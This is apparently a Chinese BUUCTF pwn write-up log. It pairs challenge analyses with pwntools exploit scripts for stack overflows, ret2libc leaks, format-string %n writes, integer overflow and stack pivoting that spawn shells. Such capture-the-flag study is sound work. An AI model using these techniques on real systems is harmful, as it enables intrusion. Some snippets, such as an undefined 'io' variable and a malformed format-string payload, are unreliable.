“求学之路还很长呢”
在BUUCTF做题的记录,本章将会长期更新。祝早日AK
(栈介绍 - CTF Wiki)
pwn1_sctf_2016
C++
限制输入,但是能把I替换成you
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * context.log_level = 'debug' p = remote('node5.buuoj.cn',27535)
bkd = 0x08048F0D ebp = 0x12345678 payload = b'I'*20+p32(ebp)+p32(bkd) p.sendline(payload)
p.interactive()
|
第五空间2015pwn5
在main函数中即有system(“/bin/sh”)
1 2
| cmp edx, eax jz short loc_804931A
|
比较edx和eax的值是否相等。
edx来自输入的第三个数据
eax来自dword_804C044即从文件中读取的值
这里有格式化字符串漏洞
泄露用%x,写值用%n。%n会把已输出的字符数写入到对应参数指向的地址中。
ciscn_2019_n_8
32位小端序,全保护开启,
启动IDA,只要var[13]=17即可,
发送4字节数据填满
1 2 3 4 5
| from pwn import* p = process('./ciscn_2019_n_8') payload = b'aaaa'*13+p32(0x11) p.sendline(payload) p.interactive()
|
- 给数字类型的变量赋值,不能直接发送字节流b’xxxx’,应该发送str(‘0x11’),但这种无法控制位数,所以最好发送p32(0x11)。
bjdctf_2020_babystack
64位,NX开启
LODWORD(nbytes) = 0;
get_started_3dsctf_2016
程序要正常退出才会给回显看到flag
32位小端序,栈溢出漏洞填满buf[56],注意getflag函数有参数,加上,还有exit
1 2 3 4 5 6 7 8 9 10 11
| from pwn import* context.log_level = 'debug'
p = remote('node5.buuoj.cn',27225)
get_flag = 0x080489a0 exit_addr = 0x0804e6a0
payload = b'a'*56 +p32(get_flag)+p32(exit_addr)+p32(0x308CD64F) + p32(0x195719D1) p.sendline(payload) p.recv()
|
babyrop
确实是简单的rop
main()提供了system(),在IDA中shift+F12看到/bin/sh,ROPgadget --binary ./babyrop | grep "pop rdi"得到0x400683,现在什么也不缺了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import* context.log_level = 'debug' elf = ELF('./babyrop')
io = remote('node5.buuoj.cn',29393) call_system = 0x04005E3 pop_rdi = 0x400683 bin_sh_addr = 0x601048
payload = b'a'*16 payload += b'deadbeef' payload += p64(pop_rdi) payload += p64(bin_sh_addr) payload += p64(call_system)
io.sendline(payload) io.interactive()
|
ls后没有flag,所以使用find -name flag找到flag
cat /home/babyrop/flag
bjdctf_2020_babystack2
1 2 3 4 5 6
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf[12]; size_t nbytes;
setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0;
__isoc99_scanf("%d", &nbytes); if ( (int)nbytes > 10 ) { puts("Oops,u name is too long!"); exit(-1); } puts("[+]What's u name?"); read(0, buf, (unsigned int)nbytes); return 0; }
|
简单的整数溢出,负数会被认为是一个巨大的正数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import* context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux','splitw','-h'] elf = ELF('./pwn')
p = remote('node5.buuoj.cn',29753)
bkd = 0x400726
p.recvuntil(b'name:\n') p.sendline(b'-1') payload = b'a'*(12+4)+ b'SNOWCATT' + p64(bkd) p.sendline(payload) p.interactive()
|
jarvisoj_fm
1 2 3 4 5 6
| Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
|
开启了canary,GOT只读,看起来是格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf[80]; unsigned int v5;
v5 = __readgsdword(0x14u); be_nice_to_people(); memset(buf, 0, sizeof(buf)); read(0, buf, 0x50u); printf(buf); printf("%d!\n", x); if ( x == 4 ) { puts("running sh..."); system("/bin/sh"); } return 0; }
|
x是.data上的全局变量。
在printf函数中的参数可控 于是可能存在格式化字符漏洞,利用字符串漏洞重写x的值。
输入的字符串会存储进入栈内,然后printf函数使用输入的内容作为格式化字符串进行控制输出。
输入多个%p打印栈上的内容判断输入的数据在栈上离栈顶的偏移。
我们来找一找
1 2 3
| ./fm aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa-0xff896a9c-0x50-0x1-(nil)-0x1-0xf7f04a20-0xff896bb4-(nil)-0xff896d2b-0x2c-0x61616161-0x2d70252d-0x252d7025
|
注意到aaaa即0x61616161出现在第11个位置上,偏移量为11
payload如下:%4c%13$n0x0804A02C
利用%n将输出字符数写入指定地址。%4c先输出4个字符,%13$n将前面输出的字符数(即4)写入地址0x0804A02C,实现对目标内存的修改
bjdctf_2020_babyrop
1 2 3 4 5 6
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
简单的rop,Can u return to libc ?,是一道libc题目,
现在不知道libc的版本,于是使用LibcSearch
看起来可以泄露puts的地址,一个思路是把puts的got表地址用puts打印出来
寻找gadget:
1
| ROPgadget --binary ./pwn --only "pop|ret"
|
得到0x0000000000400733 : pop rdi ; ret
于是这样构造payload:
1
| payload1 = b'a'*40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln)
|
LibcSeearcher的使用:
1
| libc = LibcSearcher("puts", leak_puts)
|
但是,这时匹配到了多个版本的libc,并不容易尝试成功,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12
| [+] There are multiple libc that meet current constraints : 0 - libc6_2.23-0ubuntu4_amd64 1 - libc6_2.23-0ubuntu7_amd64 2 - libc6_2.13-0ubuntu4_amd64 3 - libc6_2.13-0ubuntu15_amd64 4 - libc6_2.23-0ubuntu9_amd64 5 - libc6_2.23-0ubuntu10_amd64 6 - libc6_2.23-0ubuntu5_amd64 7 - libc6_2.23-0ubuntu11_amd64 8 - libc6_2.23-0ubuntu6_amd64 9 - libc-2.38.9000-12.fc40.i686 [+] Choose one :
|
于是笔者又泄露了read,增加约束。这样匹配的libc就基本符合了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28896) puts_plt = 0x4004e0 puts_got = 0x601018 read_got = 0x601020 pop_rdi_ret = 0x400733 vuln = 0x40067d payload1 = b'a'*40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln) p.recvuntil(b'story!\n') p.sendline(payload1) leak_puts = u64(p.recv(6).ljust(8, b'\x00')) log.success(f"leaked_puts: {hex(leak_puts)}")
payload2 = b'a'*40 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(vuln) p.recvuntil(b'story!\n') p.sendline(payload2) leak_read = u64(p.recv(6).ljust(8, b'\x00')) log.success(f"leaked_puts: {hex(leak_read)}")
libc = LibcSearcher("puts", leak_puts) libc.add_condition("read", leak_read)
libc_base = leak_puts - libc.dump('puts') log.info(f"libc_base: {hex(libc_base)}") system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh')
payload3 = b'a'*0x20 + b'SNOWACTT' + p64(pop_rdi_ret) + p64(binsh) + p64(system) p.recvuntil(b'story!\n') p.sendline(payload3)
p.interactive()
|
jarvisoj_tell_me_something
1 2 3 4 5 6
| Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
主要的函数在这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v4;
write(1, "Input your message:\n", 0x14uLL); read(0, &v4, 0x100uLL); return write(1, "I have received your message, Thank you!\n", 0x29uLL); } int good_game() { FILE *v0; int result; char buf[9];
v0 = fopen("flag.txt", "r"); while ( 1 ) { result = fgetc(v0); buf[0] = result; if ( (_BYTE)result == 0xFF ) break; write(1, buf, 1uLL); } return result; } ssize_t readmessage() { __int64 v1;
return read(0, &v1, 0x100uLL); }
|
注意到v4在rbp-88的位置,查看一下局部变量确如此,栈溢出,
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * import time context.log_level = 'debug'
p = remote('node5.buuoj.cn',29823) p.recvline() flag_addr = 0x0400620 payload = b'a'* 0x88 + p64(flag_addr) p.send(payload) sleep(1) p.recv()
|
ciscn_2019_es_2
居然是栈迁移:
1 2 3 4 5 6
| Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
|
有后门无"/bin/sh",看来需要自己读进去。
1 2 3 4 5 6 7 8 9 10
| int vul() { char s[40];
memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s); }
|
看起来分配了一块内存s,读48字节,只能覆盖ebp和返回地址。
先把rop链写道栈上,再将栈迁移到写的地方即可。
要想办法泄露ebp地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(arch = 'i386',os = 'linux',log_level = 'debug')
p=process("pwn")
elf=ELF("./pwn") payload1=b'a'*0x24+b'b'*0x4
p.recvuntil(b"\n") p.send(payload1) p.recvuntil(b"bbbb") ebp_addr=u32(io.recv(4)) log.info(f"ebp_addr:{hex(ebp_addr)}") leave_ret=0x08048562 sh_addr=ebp_addr-0x38 payload2=b'a'*0x4+p32(elf.plt["system"])+p32(0xdeadbeef)+p32(sh_addr+0x10)+b'/bin/sh' payload2=payload2.ljust(0x28,b"\x00") payload2+=p32(sh_addr)+p32(leave_ret) p.send(payload2) p.interactive()
|
HarekazeCTF2019baby_rop
1 2 3 4 5 6
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
好神秘。
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf[28]; int v5;
setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); printf("What's your name? "); v5 = read(0, buf, 0x100uLL); buf[v5 - 1] = 0; printf("Welcome to the Pwn World again, %s!\n", buf); return 0; }
|
buf[v5 - 1] = 0;原本是为了去掉输入字符串末尾的换行符
要泄露libc,这里没有puts(),于是想到使用printf()
1 2 3 4 5
| ROPgadget --binary ./pwn --only "pop|ret" 0x0000000000400733 : pop rdi ; ret 0x0000000000400731 : pop rsi ; pop r15 ; ret ROPgadget --binary babyrop2 --string "%s" 0x0000000000400790 : %s
|
在泄露libc时遇到的问题,明明已经调用过printf(),但是使用printf的got表却不能泄露出地址,于是使用read。
构造printf("%s", read_got)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux','splitw','-h'] elf = ELF('./pwn') libc = ELF('./libc.so.6') p = process('./pwn')
p = remote('node5.buuoj.cn',27867)
pop_rdi = 0x400733 pop_rsi_r15 = 0x400731 printf_plt = elf.plt["printf"] ret = 0x4004d1 fmt_s = 0x400790 read_got = elf.got["read"] main = 0x400636
payload = b'a'*40 payload += p64(pop_rdi) + p64(fmt_s) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main) p.sendafter(b'name? ',payload) p.recvuntil(b'!\n') leak_read = u64(p.recv(6).ljust(8,b'\x00')) log.success(f"{hex(leak_read)}")
libc.address = leak_read - libc.symbols['read'] system = libc.symbols['system'] bin_sh= next(libc.search(b'/bin/sh')) p.recvuntil(b'name? ') payload1 = b'a'*40 + p64(pop_rdi) + p64(bin_sh) + p64(system) p.sendline(payload1) p.interactive()
|